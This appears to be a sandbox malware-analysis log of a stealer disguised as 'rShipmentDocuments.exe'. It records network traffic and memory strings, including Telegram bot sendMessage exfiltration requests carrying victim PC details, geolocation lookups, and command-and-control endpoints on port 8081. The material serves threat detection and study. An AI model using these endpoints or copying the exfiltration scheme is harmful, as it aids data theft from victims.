Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:301389%0D%0ADate%20and%20Time:%2011/10/2024%20/%2015:40:15%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20301389%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:301389%0D%0ADate%20and%20Time:%2011/10/2024%20/%2015:30:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20301389%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 11 Oct 2024 07:35:30 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 11 Oct 2024 07:35:32 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002D1A000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.00000000031E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: ZOlmYtPdlO.exe, 00000010.00000002.4153230560.00000000068E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.c62
Source: rShipmentDocuments.exe, 00000000.00000002.1728733569.0000000003327000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1765638038.0000000002867000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000000.00000002.1732739844.0000000005DA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:301389%0D%0ADate%20a
Source: ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003216000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enp
Source: rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C62000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.00000000030B2000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C62000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.00000000030B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: ZOlmYtPdlO.exe, 00000010.00000002.4137318627.00000000030DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C8C000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003121000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.00000000030DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33$
Source: rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003EE4000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E96000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003FBA000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002D1A000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D67000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D40000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CF2000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042E6000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.000000000316B000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000041B7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004334000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004409000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004190000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004142000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E71000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E9E000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003F95000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CCD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D42000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004192000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000043E4000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004148000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.000000000411D000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003EE4000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E96000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003FBA000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002D1A000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D67000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D40000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CF2000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042E6000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.000000000316B000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000041B7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004334000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004409000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004190000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004142000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E71000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E9E000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003F95000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CCD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D42000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004192000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000043E4000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004148000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.000000000411D000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003256000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003247000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002E00000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003251000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB
Source: ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003247000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/p

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
